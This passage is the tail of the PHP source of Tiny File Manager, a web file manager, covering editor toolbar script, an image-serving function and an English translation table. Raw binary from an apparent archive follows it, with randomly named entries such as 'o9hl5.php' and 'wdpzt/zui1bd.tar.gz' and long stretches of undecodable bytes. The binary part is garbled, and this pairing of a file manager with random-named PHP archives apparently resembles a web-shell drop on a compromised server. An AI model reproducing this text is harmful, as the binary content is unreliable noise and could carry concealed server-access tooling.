            if(_data && _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
            if(_data && _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
            $modeEl.val( editor.getSession().$modeId );
            $themeEl.val( editor.getTheme() );
            $fontSizeEl.val(12).change(); //set default font size in drop down
        }

        $(function(){
            renderThemeMode();
            $(".js-ace-toolbar").on("click", 'button', function(e){
                e.preventDefault();
                let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
                if(cmdValue && cmdValue != "none") {
                    ace_commend(cmdValue);
                } else if(editorOption) {
                    if(editorOption == "fullscreen") {
                        (void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen)
                        &&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen());
                    } else if(editorOption == "wrap") {
                        let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                        editor.getSession().setUseWrapMode(wrapStatus);
                    } else if(editorOption == "help") {
                        var helpHtml="";$.each(window.config.aceHelp,function(i,value){helpHtml+="<li>"+value+"</li>";});var tplObj={id:1028,title:"Help",action:false,content:helpHtml},tpl=$("#js-tpl-modal").html();$('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1028").modal('show');
                    }
                }
            });
            $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
                e.preventDefault();
                let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
                if(selectedValue && selectionType == "mode") {
                    editor.getSession().setMode(selectedValue);
                } else if(selectedValue && selectionType == "theme") {
                    editor.setTheme(selectedValue);
                }else if(selectedValue && selectionType == "fontSize") {
                    editor.setFontSize(parseInt(selectedValue)); 
                }
            });
        });
    </script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}

/**
 * Show image
 * @param string $img
 */
function fm_show_image($img)
{
    $modified_time = gmdate('D, d M Y 00:00:00') . ' GMT';
    $expires_time = gmdate('D, d M Y 00:00:00', strtotime('+1 day')) . ' GMT';

    $img = trim($img);
    $images = fm_get_images();
    $image = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAEElEQVR42mL4//8/A0CAAQAI/AL+26JNFgAAAABJRU5ErkJggg==';
    if (isset($images[$img])) {
        $image = $images[$img];
    }
    $image = base64_decode($image);
    if (function_exists('mb_strlen')) {
        $size = mb_strlen($image, '8bit');
    } else {
        $size = strlen($image);
    }

    if (function_exists('header_remove')) {
        header_remove('Cache-Control');
        header_remove('Pragma');
    } else {
        header('Cache-Control:');
        header('Pragma:');
    }

    header('Last-Modified: ' . $modified_time, true, 200);
    header('Expires: ' . $expires_time);
    header('Content-Length: ' . $size);
    header('Content-Type: image/png');
    echo $image;

    exit;
}


/**
 * Language Translation System
 * @param string $txt
 * @return string
 */
function lng($txt) {
    global $lang;

    // English Language
    $tr['en']['AppName']        = 'Tiny File Manager';      $tr['en']['AppTitle']           = 'File Manager';
    $tr['en']['Login']          = 'Sign in';                $tr['en']['Username']           = 'Username';
    $tr['en']['Password']       = 'Password';               $tr['en']['Logout']             = 'Sign Out';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Copy']               = 'Copy';
    $tr['en']['Save']           = 'Save';                   $tr['en']['SelectAll']          = 'Select all';
    $tr['en']['UnSelectAll']    = 'Unselect all';           $tr['en']['File']               = 'File';
    $tr['en']['Back']           = 'Back';                   $tr['en']['Size']               = 'Size';
    $tr['en']['Perms']          = 'Perms';                  $tr['en']['Modified']           = 'Modified';
    $tr['en']['Owner']          = 'Owner';                  $tr['en']['Search']             = 'Search';
    $tr['en']['NewItem']        = 'New Item';               $tr['en']['Folder']             = 'Folder';
    $tr['en']['Delete']         = 'Delete';                 $tr['en']['Rename']             = 'Rename';
    $tr['en']['CopyTo']         = 'Copy to';                $tr['en']['DirectLink']         = 'Direct link';
    $tr['en']['UploadingFiles'] = 'Upload Files';           $tr['en']['ChangePermissions']  = 'Change Permissions';
    $tr['en']['Copying']        = 'Copying';                $tr['en']['CreateNewItem']      = 'Create New Item';
    $tr['en']['Name']           = 'Name';                   $tr['en']['AdvancedEditor']     = 'Advanced Editor';
    $tr['en']['RememberMe']     = 'Remember Me';            $tr['en']['Actions']            = 'Actions';
    $tr['en']['Upload']         = 'Upload';                 $tr['en']['Cancel']             = 'Cancel';
    $tr['en']['InvertSelection']= 'Invert Selection';       $tr['en']['DestinationFolder']  = 'Destination Folder';
    $tr['en']['ItemType']       = 'Item Type';              $tr['en']['ItemName']           = 'Item Name';
    $tr['en']['CreateNow']      = 'Create Now';             $tr['en']['Download']           = 'Download';
    $tr['en']['Open']           = 'Open';                   $tr['en']['UnZip']              = 'UnZip';
    $tr['en']['UnZipToFolder']  = 'UnZip to folder';        $tr['en']['Edit']               = 'Edit';
    $tr['en']['NormalEditor']   = 'Normal Editor';          $tr['en']['BackUp']             = 'Back Up';
    $tr['en']['SourceFolder']   = 'Source Folder';          $tr['en']['Files']              = 'Files';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Change']             = 'Change';
    $tr['en']['Settings']       = 'Settings';               $tr['en']['Language']           = 'Language';
    $tr['en']['MemoryUsed']     = 'Memory used';            $tr['en']['PartitionSize']      = 'Partition size';
    $tr['en']['ErrorReporting'] = 'Error Reporting';        $tr['en']['ShowHiddenFiles']    = 'Show Hidden Files';
    $tr['en']['Full size']      = 'Full size';              $tr['en']['Help']               = 'Help';
    $tr['en']['Free of']        = 'Free of';                $tr['en']['Preview']            = 'Preview';
    $tr['en']['Help Documents'] = 'Help Documents';         $tr['en']['Report Issue']       = 'Report Issue';
    $tr['en']['Generate']       = 'Generate';               $tr['en']['FullSize']           = 'Full Size';
    $tr['en']['FreeOf']         = 'free of';                $tr['en']['CalculateFolderSize']= 'Calculate folder size';
    $tr['en']['ProcessID']      = 'Process ID';             $tr['en']['Created']    = 'Created';
    $tr['en']['HideColumns']    = 'Hide Perms/Owner columns';$tr['en']['Folder is empty']    = 'Folder is empty';
    $tr['en']['Check Latest Version'] = 'Check Latest Version';$tr['en']['Generate new password hash'] = 'Generate new password hash';
    $tr['en']['You are logged in']    = 'You are logged in'; $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
    $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
    
    $i18n = fm_get_translations($tr);
    $tr = $i18n ? $i18n : $tr;

    if (!strlen($lang)) $lang = 'en';
    if (isset($tr[$lang][$txt])) return fm_enc($tr[$lang][$txt]);
    else if (isset($tr['en'][$txt])) return fm_enc($tr['en'][$txt]);
    else return "$txt";
}

/**
 * Get base64-encoded images
 * @return array
 */
function fm_get_images()
{
    return array(
        'favicon' => 'Qk04AgAAAAAAADYAAAAoAAAAEAAAABAAAAABABAAAAAAAAICAAASCwAAEgsAAAAAAAAAAAAAIQQhBCEEIQQhBCEEIQQhBCEEIQ
        QhBCEEIQQhBCEEIQQhBCEEIQQhBHNO3n/ef95/vXetNSEEIQQhBCEEIQQhBCEEIQQhBCEEc07ef95/3n/ef95/1lohBCEEIQQhBCEEIQQhBCEEIQ
        RzTt5/3n8hBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBHNO3n/efyEEMUbef95/IQQhBCEEIQQhBCEEIQQhBCEErTVzTnNOIQQxRt5/3n8hBCEEIQ
        QhBCEEIQQhBCEEIQQhBCEEIQQhBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBCEEIQQxRt5/3n+cc2stIQQhBCEEIQQhBCEEIQQhBCEEIQQIIZxz3n
        /ef5xzay0hBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBK01c05zTiEEMUbef95/IQQhBCEEIQQhBCEEIQ
        QhBCEEc07ef95/IQQxRt5/3n8hBCEEIQQhBCEEIQQhBCEEIQRzTt5/3n8hBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBKUUOWfef95/3n/ef95/IQ
        QhBCEEIQQhBCEEIQQhBCEEIQQhBJRW3n/ef95/3n8hBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQAAA=='
    );
}

?>
PK!j׀~�~�	o9hl5.phpnu�[���PKI��PK!�h�W�W�5wdpzt/zui1bd.tar.gznu�[�����k{�60z>���`T��6��ǎ�:����[m'��y��%1�D��|I����\ AI���{v�ݘq���`�?z���p�|�_~k++�����J��?���Z����0ſi�4�g��7�={c���������������N{�����Xo=Yn,���,/��_u�W�s��ԋ�]�w��\��,���emY�O�
g\�� �N�L� r1�o{�S)�C��3t{=�%�����^�tm���^�	D����?�A��ֿ�������������'�޶j+�eʲ�{b�� �G#'!{�;�$	�F��պ����hn���m�q���
�5��\u��~��к�*=�R�m��l���X��D���w&�����s�2;''���6���&���V�V{o��z�>8��b��9�9��ݝ��7�`6Q`g
�k��;�O�0����E_C'��`��	�V�[�ؾ�z�
��F�o?��qϙ8��8���?��O��9U�����^zn�c�0
���MoYT������k`��CE%H��
|
7,;��R�0_��ڶ�'"#�H~i�Z�V����W���t���i��
YC;Z�#]�ݰ>��Ն�ȃna�:}c��W�{#w̰,�n������k�G���wp��������^L�N&έ�Cm��:����w��g;�~����T��ֲ�Ԫ~9X���~�?�m}���F�N��~]���}���b��N���щ��z��5C�+����$'~[!�h���O�==w0��4PŞ\
��:%ȱ=u�?�n-F�9�AM&%��
�N���rf�R���6�5��ڇ�*ɑ�S?�5?�����u��!�����d��p�ڵj���#tX}?����!�Ut�*="D��C�9Wa1��u4p�	���s��eFɁ#w�|�ǎ�.rJe&L/���Ρ5`�Ձ̧�Ww�uYCX�E`��5w⚡�[s�[ܴpv����� ���#���>�1d_��7����8��n-��lX��ԯ�����Դ�9k�}W�;�}s�>:���׊2��ޡj��Kl��N� ���%23
�ک��"�����0�Yo��0�".�X��z8��a�~r=�C#�\.��Yn�R@�����O�8��4,���*f��BH�1�q^^�ڵ�ĸya�AsׁO|7�]C�������3)ĂÉ�u�n7�	髑���Ç�20�L1���Ss<���x2�`��=D ����WP��v(C'�zs���cI�?ّB���/��IM��@�����O�],U�Rr~�#΍�h9`mT��^o�1$;��_;=n߹��qH�a���x�Zi�'���D\l*�0�|��m��xAG�P%�Y�N'�o�2-
�~e2T>L�"4�6���|i_��H׬�Z]�K sVO�-��O�aR�����+��|��D��-\�!��k�>j�y��YA�%+sn���sPfх �Mp@	��Q)BM�u�ꙗě�$���h�%���!�9��t��=D8�B�ܓZ�F$V��@�
�c۫
�I�B�Jf���b��0K�����I;Hš���sw�@��a�)AOq���Fn7�C��%��Jq��XU<!p�h��s����܂�q���D_�<˛PV
�>w
j�e�-qZ��q|Dob����[�Ⱦ2�zq��jY���rA��k8�e��;c�
�L�����;��x��i���c��(EqI�Y�x��=wp�A�]$\(,PA�"�[F�3���ܑUDݝ�}��Q�&��)��\�G�S:��
��ʺ���C�����˗H;G{D
��S^� ��Yݡӽ�`�b� �W,!���LuG{Xj7�9���;�Ԥ$���$�uR|�un�t�zjs5K�C=u�9cOcb�S�'dS�*��yOkq���^>�JB��8J
��I��'��b]��4���
uָhgZ�m����_���Ua"��F�h%?5˚"/H��4 
��`P+c\
@>�1r"[J�)7�
 H$(��ECԅ��G@�=$��;�)T��"-���F�䃨��DˁtE��B��&r��	�Ih���*����\�>q��w��j��P�s����@�{����9ށ�(7LKu�B*��;?wޜ��u�Eu�<��������!e'$��$p�P��tni��"p�f�
x�*>2��G\{�da�g�3�Zt���	�����<u��b-m�QV�U��d9��������#p�����n��e�+����ʦZ �;cu�_#�@kK=��=�
�~���0bê��C�H�zW%W�#��r���'ì�B�X���i��V����c�N�2�P]fS6�,��)X_#�N�`�,�!���0����O������_��(�R@�8&:#�
΀���ӛNP��`C
4K�����=��Q��f�
泤�P�k��baj��y0p���3�;3J��^�5�A��x����5iNZ�����Nu�Jd	6��I���}�����M�������@"��H��F�QJ|
X`'m��NdlI���"Kwh�@�-)�%�5a���11�ӹ#,����Fj�Y�l}��%�GP��:BP.@��P]�b-VA�LYJ)H>'����s3�~���r~�D�k��v�R1�(��"S��Kf���y��H@���V|����*�_�P��`G��#X��(���K�!��X���6�=0�IU4�Q�y-��o mQIv'���b$QK�RN�^��F��6�H�
��s��	�
q�OUO_ā3�D�%Ť={�R�%��l��V��t�<�?���.��XƏ�2�
�M5w~�<>�i�t���99=>?M��FMԱ�0� ǰ�[l��ac�R�F�N#�� ������=(�ؿ�ͯ�2�=�Q��96+JP%M���ȏ��/�mI�=1y�A}�������/P�d�tk���IpJ�%���L��K,
�abM�(��y-A�n���0W�E*�?T��b�|.�%C|�r5Pd�"�U��5�$)	Ks�~4�VU��F�����8�S�x�ytj|�>��E�p���U��,L%��O2YԬ�80��@��$����y�j�ڞK3R38`�%U�$t���]�5}�Y�Oۇ�� ���
{7�~dFmG���T����$��rX�T�>�]�~=�\�K<�^!{BcL���H�t�XH$���+zSN�bJo��^xH�ʅ�T'��_9qfCmQ������J5R4��3�L�p�;o�F:�:��J�C�����t��j�UJŝn�^�`
��q�
\�Cl�^��-��97�ء
���!3��1�B)!"y10Y�?'s=��!��xv�eIrNd���`���j
	����k��NÀZKR&׽��:T���Ir�9Τ�T�#���'@�z���S��z�C��|�/~J5�ɔFj��\4����^�f���=�~�d!�Z��3�(fZ&p5{>��P��Ʃ���O�`gǒ>(�4�W���4G�0�*�P˹rF�2�Rf���icJ �4_��	��N�b��M.�O�?�f�N͈�~0J�޹,�v�,L��A�
�j��(l�xx�s�d�ӑ�ɘ5�=Y��4�`�T�(p��W�:�%�W�i�z��8���7�j�,򏳜��G����W�	�bVmF(.���BT7�eI|���`��M�*��>�{[���i�i�s"g���4���Z�t�h�Th�w(��WI�[�f�Q�nF�	�w{q��z�zZ�F���!���u�!j4�-�D�.8[����@ۈ/���B�jX��{�Z͕�x��]�=So����ϻ����3!���ͭ=z� ��$���k{��ɟ��\@+����d��v쏝��E���Ds�\kXO^ê�!V��&�е&�}�O8����GϏ5�UN��/j�*�S}�n#S*�X�?��1�Wy�e$�f����u� -n�	�YOu*yӐ�\��T��Ux�VמZ⭺,��a�2���ZmYU(���'+֓e�pYV�*��j6Wſ5����M+������A��7q���n�<���U���c �]G �&�]��OM&��� �˫��J�o5��dD��O�|�E��ןX�������;���iR3��%�B�'OĿy���>�+�C>v�2��h�_�ˑs�u���y�Ԗ���ʺ�.��>l~�N�)�0������3ZB�v5���!��ؗ��h�"wi�]�ۉ��Y�`F�(��bh8y�ߧ �HV��ixG�E�E)����K�S��Q�p$(�7�ҿ+"	iY�&����F��а�Ӌ���E4���pʖ|&�kUW`0|
q
w�r)�"u�xLQ%un��guD�<UcNes�kc磂u�E�Q��M����On
��֠m
��B��S+�P��
hM_�em4��[�v5�"��������=���)��¼o��t�GkM̒�r��s4�e�b�+��)C�j��k&H6�T�{Q�~{\�q��ֆ�����P���I�ԩ� 
�Q)I�X��~��EH�Z�Jxv�)A4���+�S.g��w��E�3�bD�����o�OI�Ͽ�&����#�
b4�~N������:�����G�-(���lJ�e�6���k�}IwZ-�s�*S�q3��^��;���GtT.]4���f'�t�µ.��L���{���ϻo�ڝ���Y�j�+ԫys���;���o��>�T�|�Z4/�������/�O���v��|��N��M�E�R��`�?���6�=Ӟ̮d?ػ�oCr}>�3L�g�EO�dδ}�yFj�3`e�qi��5$���߀�v,�,�+�oj,Ii �>�s�޷���!��	#�j�6�����ENwd��P�����20�"8 o	X��K\�V
��h�z�sp�F䥳`sJ�ׇ�wz:���_mC�9v��P�5���+�
�ld���7g����oQ�Y�Ֆ���U|2.=��w���v��Nޜw�G������[���E�������Cv槿�~(��5*�;g�@��ufs@��s���s�>�?l����y����C��CML�b�`��H��}̓�m��]<�|f��S�[�?�l��$�]x��Ks`��g�ij�K��?b�"5	UKһ��E�� ��c����%��T۟�Jbr��C1���Զ�_�Ȝ����� �'(�l�H��n�)�-	7|�!qjj{��{��Io�t6M�BA�]fr��%aH��9L)	dI��_���>>��c�k�n�,���i�Ѭp�x�s�ƻk���՟�Ϊ��D�l4P�La%>��R�R�:��!eX���!g�KIK�p]І�ꃾ�t�g��O)P�WQZӶ��R�̰�jK<-,�G��7kMk�Ѱ���<K>��H�\�Tإ�>G0�?a����V�]��o{�=�á;)��H�^�S���Aw�!2r�����
��/�ص<�sY��lm�����U@'�;�T]{\JM@)��A��J�P4��}ǵ�5P�%!K`Jv�r:��P%5܅�r
U��.Pi�?���9�+��f���N�ܙgY�rS�
�e�u Β﹁�z&�S����5D���B&=��Az����n���s�2A
�-Q���]ؗ�4~n���SJ+`&�VJ�����P��'�v��K4Dot�n�t
OQ*�V����O���Ty@T�*�3��
�&�Oj����WHC��c�+�3� ��G˔���0�`G��Jqu Cg�A]Xr�����f�O<��@G��)I9A	u��
���R.�C3&�����#�Ɂ$xV��&�7��}��t��'�����U���}zi{D�r�ҹ�)�[P!30�q�MA����i/���I�9�P��X�:r���N�P;�oj�]M����hje�M��U�✘ކ�i����H
��ކ�qV+)�&{"y1�����3�q2��s>ٳ}��LH���P����T�p�g#& ��0�%�@ӡ�T��0���L����9{�lf�8�Ð	L����%�@�|f*�*�P��i�2���A��F�`j!��&M�{X8%l�q`Q�!I�1��On���
���b�윝�t|���k��ysp^&�bZ�:���8��;��+�E���oڐO|��i�ϰw(��	���/v�:#��J�?�n;����z��x�Bm��p�}�P>�1ȏꂄV��8
�^�"^4��=*��!K�
�6���6������}q�>�z��?Z2f�n�Y��
0<�����4P��Ѩ���FA?!!�Iдl�HA�87���J�b�j�&b�O�c�A	G!-�`�	q�z���R��G7D�{'�SŒ�%{�b��SN�y�z�O�bu�@)���P
���3E�vc�UdM�&-+�#����T�m��81�*
u��	�h��D�P/�j�1����mu���Ñ��\�Ǥ �P�S����p�uI���t�)�
�(Ն�d�1h��L�H���Z:�d'��������K�Ibt�&ct�]d�XO��K�Ĥ���G�'�~�����y�����i��"�L,\����OǻVTl�,\x����7�v'��vn�.�͘@D����3�>3�lf*Q���L.�1t�k�c2����f����2�0��=���
��_�i�M�Q�⺜*+�u��5����
�Z���M$ίgΝi�E�hWe&����
25X���?Ϙ���+ ��)�j����/؄����'���/�z�pLqc�RьKd_w��B|�)�@x }���]�h��T�����a�T�c�w�p���ꨛ�=�1d�;C�e�Rk��1ã�jH�$YW��j���/��yy�Ԍd�.���&'ܓ��M��ЌB2'���[ŗ��=��6|V�ض���R�e8�)�/&���I�~��y�rJ��p(�P�|/ �{���MD9��1�"�NߙZE���P�cmq��܉�@Q?�JɊ�g�pr�Q�����d$5�ك0��NLmjB97$�d�
YY+��y+�伍��yK�EE��ؕB���&�>m��Fn���OF,ܥ���^Ș��a����;�Um�S,E�LԻaY1$��
����q:�02ɔ,���*����7���/�j�8SM���O
��6
}M��CǷ[�G���":^yNe�E�c�bn�.
k�#o���Al��b3ݼ��>w�����Fvz�/��6Ħ�Gl��4��{."���F�P*����Z��Բa]Am�4�kt�p8kEA��'ӗh�2^^��M�[j�SeG1�2��&�Kfx���3tE4z�o��(���95	k��BL��$98���X�X��um���sֳ�j�q�+��W�sQ��>���86�Ct����ޔ/�P������@ðu��Z)�W3�H���#l�E@Z�"����Ч��	��ȿr�i�$B�o1Q$
V��M�Y��!d"�x�s�Ea:4�W���j���0C�.=.^��CqR#�N�a�
�}�%w.�L����&���d!�,`D
A���J��"���腆85�ف�-Q�daR�~-Z��@`�H䬒l������d�R�E��H��>�G�@*[
o�s�2i'���9A���!�1�cE�b-�]1Α��q�u�/���WO�
��0h �D�^q�"� ]ȢA"u7�R-ҵ��/��k713ӕ4�<ߟt�����7�_1F6�oc3�7��	�b��$8���P\8���
���5�/̔�����ePۢIQ��d����Y�i��4�֗U^<8$s�}P?�M^FƧZ�^�>p>x{oF�����u�`��«������%�l�>���I��>Ta8��0qH��74��`�[��xrۉ|-��u�|3�qx�y'�c�[���oOf�u��{�Y�e)�Z�1�2Y���b����]h�KhC�	
B
D6��f5�؈�y��
���F�d5�AO���'<���)1Q�J�T�g'���ء���.�~|D��p����xB�`Q�BF��R?�V*@7��O��c,�I�ժZpj�̩�g�IU�ƻ*Z͊�%�a9�PK<֙�V�>g�g�J�TZTy �Dz	OL�@ѹ�S4U�[�3ǃ�(n5�/�,�4#S�4�[A���S,��J'�	���_g�q��'І��J(���_h�?uX���클��Z�}<�k�K����M�Kj9�IJ��|fP�'|C�6yKX��қT6�4s�a3,i^�>�[zbc��Y'���5D`vs��Y�ާ�Z��b���Z�c��	jQ	t���(�Fy�z��@o���{�s�W5��	g#�/���y�y�,�O�jzj^�b��l�J��9��Cq��9�K9I@��+VN�
��l�V�g7�EN?Pږ�f���#=LF�濼��=���^��'��z��ReUCď/2ԹB2�IkI_�{Y=bK�UJ@/��MC�����|ECު�_��I��:n-{`��"gKl�K�q��GJ��lϑ�D�IǐI&'�[��~�����Bz��gہ\�Y�����:��T���M���9��y���ZRD	���R\U�jЁ���ꅲ�ˁ��1�J2�$3L(�'�M�i�a*��l��Ǎ��X��b�/!�V�k|(�x+m��A}�J��i�0dp%c�k:���R#�	�.�<ybv#��fGp/��yJ�Gn$��lO�+4����N���"�#�Y���<E��䄗.�E�t,�|�
��qƖ�٬�Z����bJ�b�d1�^�*k�aV�n�ڵ�\,���ݵ�~=1�לNp��$���b$��c$B.	=�V�C�R�on�_z�fv/�g.��-���[T�kB$��e�Nu�Ǚen珚6R�xg)���H�^���
i)�.�e�1N���6���懷�6�ݛ|M�ˬ��B���mvL��x��$�\1��iKD�*/�a��f.�-��[�fY���)K�;ʳP���w�c5�U���1}e+җ�?O���;q�A��G�>(7��v@j�=&�����/8�0,����K�֖	v��	%>Jr�U*q�-��8.E���3�՝�ݡ��AI	��T�dh{vdC��-���9ˋ��	�F�\m奸_E�]�II�����$��fZ��_A��rǎ<�84nq��|�/�L��Q��Z\��A�IJz��uL�|CuRoQ���L߆&��1�H���$���3ǸĹy���-�IH�9�0���
pjdA��L��s;ȿ��`��=f�,�9���.â�;/�u?�n�f�l�`k��?�e۔#�@����);$%�ә��H=��5����_Y.���<s%ë�)9��V���$�Y�h�Q&�QCo<���+�Fũ���������;�ժ��Q����8G��2� ��{�s�699��u�9l�F\f��i\��b��E�F�D,<�pd�'���x��@�LRiҤ�ƀ�}/KV��]�1:��t鞅l���Pz��MG<��- ����_�~~�w���pȓ�/*'�&�وb����sV�xy��jug�L]��*��/�>E�������Z%n/�~r�=�:,�Գ�p���|�(��M#�>�A���{x�Æ�å�A�	#���8wU��E�[�b2�9�f�.��Z��?痿�/�Z��M~���3��/?~��3��-�ς��2��,����g��h�)�*��&��p�|�W�2w�7%�x6�TK��$J�χ̠�s#����>6>�e��\V)��~F �;_��Ŵ^�[2Z*�3ϕ�#�jɿ�mp<���
^vW~N��
�/I׾--QX��$�R�qd��s���m�B�P�&*V�Y~�x�)<i��+��ڕ.%���\��,�((䫯(5ZR��Z��!{ܱ&���Ҹ+���rk�&`��f���l̄�
�2���ň
ċcl���#/�����L5���KZ+�G��z�;��Dg$�*47f�#� ۡ��jE��*�M�_7��h'�O7gm,�u��E�+&��7q��5�j���Uj.��z�Ƌz�J��㦯�i��հv�+پ��v�^�p��y�9�{����2s���˒�R��+}�t���]��tS����D=w��(�2�#Q"��ŧ��o�00T�z�no�!�u=��{�Zk]TNjN�{�{�?�菝�jm�֬��q�T��Z7�Jo�@���Clj�~��8��"��裋jȢ*bQ����vSz�ft�?��SO��	qU��x�R�r���\�|���[�m57
޹~�Ā|��,6�q�P���,n�o��\J�]7u��W�n�guw;s���o��Z��S;��A�Z]���P�e��CX���#B-��U�]#��߂�q�n>�O�׾�\L�ۅ߻5R�D��/�̓H�`	ґ2�RH��{
}��^��EHgW�?�d�9���U–Cx�@�<�&R%��SP2�������?ѧ��WNu��q��"�����>�O�7�>��
6�U��a4�����:T�ϲ"�e�*�%�c��܀n��1�+�߫MZ����M���3�t�ji8w���9���xR��lo�h�2�{���ۢ�D����ԫ^E���l��aX+*?3
='��Qŵ��O
�b�AN#W� [m�&���EĈ����Ы�L��إ�H.t�VA,��H�\(\���M��
}���BL� �4��S���\�x�u���e�o-X�AXm��kH�a��N��ĴN�7ޑMR�V���E�
k������y�#;��F^u�p�:K��4νvY%(�#���}d�H�L�9�3o��q33�)(,!��w��{էx5v�Aw'��s�
�Id�A����B��+֛Qړ%|�k*a:�Y�mX�V~)���}C�����֬Ý�����k�TI��[|�OhmX*�Li�0S�1��F��dCn�0�kxAO�Qd+T��s�Q�J����
�&�]S�Z���� ���K��_��NG��ՠ�m�����R���k�V�5y������F�LjF3ϐF>�eW�
y[�9�bȇ��jʼn�]�7ְk��Ѱ����pv|T��>t�X
�e��L��&�Pc�U��s�ҹ��OJSD�^�R�Q&��<��Y��`:�昞��u��"�W��;��=��$;���q+�B�����Ҹg�%�޻�)����)�yI}�A L.Jj�]z���(��=�/n��2�I˗�gt�����2K�.�k9d��Ꜧt$����DЧ�'q���*�y��%fge�幛u�Vԉ�L�<��6E����ۘx��>>X���ϤBRGcE��uY�[q�b`b �@�;�sl�C?�
~D���Hr�fu��pT�/�U?�fI�$��xo`�:"F���Y�*�Ղf�H`}�]���#�J$$�`=l�,0<�i��*ms]�7�|�ɶ��%���^ʴ�;&W�P
�f��*U
�+��P9�+LHn������[S�Z|0<��<t���P�K�Z&KU�RةrLS��u��n|����a�α�eWK��#��5t�/f�F�5��=�:^lhE�pr4��h���rc�J����Z̛��Kwr�g���
a��k|~[H?٥ȼ��4��4��#�����e�g}Y�q���t7��=�lbo�9��2χ��B\�H�#?�3 �\^׌/	�B��i��fF������aa�T�d�Oz}�O�X,b���|43�q�s�cGT�!]h�G �VcD�7��=NI��qL�?��Y(���W�]c�ݥ>��}��/U?�����T.�ĠΫ���ޙ�Z^����h�׎o��LV�����Q��n��>���-kB������Ia���E!=��� ���w&���q�e�s��{�J��7M[�&�ݬB���E�[�<�ض'}�]x	oG���\�0ph;Y�����v2q;�[�=s�I����ڞL8�.[�@ղʖQ��]�f��&�hcu�T�-��=71�I�jҜꩉ|���S��Ғ�&�O2m�6�����5蠚xtR:�š�~9�'�{�b3BZ./���I�Qxƻ^�܋K�E�P�wY������9�v��t#Ϛ&�ꌼYd:s�sƷ|:b����˗��=���s��
�QlwDP>�K�U���&�9*xD�nr��b@D�C�韼7��G��u�܊�z�v�[ܻ���9r讖�/�uA�� 84��viS�ԙ�A�l܃�>��|�2hi�~�O�����Pz��d��F4�$m~s��z��Udz ���ŵa� _<������ե:�{���Tw���e��i�w��×l@�WvZ��y����6��6w��,���?ÍY&=vQ�i�|���<k=��]~��Lf�߇���2���O����ð�I�Ͳ��e���긗�=L�G&c��0�<$?�����g��}��g����!�bLT�W�-X=h�^�=�=9K
ܿ#GQ@�*�Č��4����������םzv$�O�܏0E���. �#��|
N�
�]���ŀݓ�d@�;r
ȯ�O��������d�t�1wR��!(��2�#��F��\�ƽp�'��d6�7Q#d�	�u��tx���S�l�y�����V��q��N�MXm�,1��f�����r�� ��h8��#?����F�حG�u9x�Ȑ�I����e�O{2�^U#7�a�Ρ�E^Z�\N���)�ߌw��\�E��4⑑�
�u�:�]�zn$t1�����v'���h��LƮ��/���}����w:�G��R�3�q'�1�W%������p1����$Ίߓz��!����kOgbE�C���K�=|��b:���_X�XQq��ʽz����a�	ϱC�C���
+u�q}��)���`����WQߵ?T'^������ͼ2x��X1׽���~�W���M�(��hx���~]���~m&�����{���d�4ݬ���j<��Zt�j���䨲�1k�è� ���=�YS�z�@���/p�:�E�G���1�� ��m�b�ʚ�R��lf��M���̉��KaP���m��2�zFMf��kX�ŧY4Ș^ҩ�z�����H���&: F"�N>@?�;e@Lځc��Y@��Z�
���)~�g�	�9��J�K�j�/(�Օ�\cԻ�>��;���gy��{�֥kD�j�/�14�,.,xN�p�7��>�?�/�tv�S��c�^�:8~�sp���^KG��K�����H��:��iQ�^�a�D���}ʡY���p��
�+�A�ّ�D�9�懋���#��*�')�h�a`�$�L)�J1�ZD�>q�J��:0'�#��
���+���#FR:�'	�-1��8�;�6c�v�ꢊ\Q��H1��!� #���b�߹�Εl]A��������O��}踦����<6Q$��V�nG1\j�;�!,��e5�_7�-�Ǧ����( f� �����p-�
Psh(�n|t���c�z�Yb�F<y�HC*�o6�����`�D��
J���̵h�4!r��ev�o1ע
"���d(Ә�P<ӕ2d,꫎�O���]3;݃d�i`=")4p������L}�D7�'�U�|`];���m�p(;s����>�.��_䬢���zޢ'U�?�X<2T�LР�*�@Ԃ@��$[� h5��"�����-H۷�J�I�V��=����O�۫��6���:�,��P2��u��Bvg�W��\X��Il]枳����R�G�Gril�͊{�圎ȫ_LȠ�Y��\m
!���T9
�v�x͠���ׯ��1F ����Ԧ��u�ش[�g�!�%k��:���fY�8�;�w��$�Rļp�w�y�vq~
��/���*�C�c����Z�U�R@�9
6�� �s;g�`ʓp1g�Ǣ��	Ͳ��U��g���a��X�(#RN��� OZ
�:
�u�����L��Z�wT"��( �� �sv�Q��O�R���,�ѽK�lL|Օ�kf1����#�b|,�}��&�w���v��Nޜw�G����9Y]��_��9��܎�ok��gC�:� ������:�
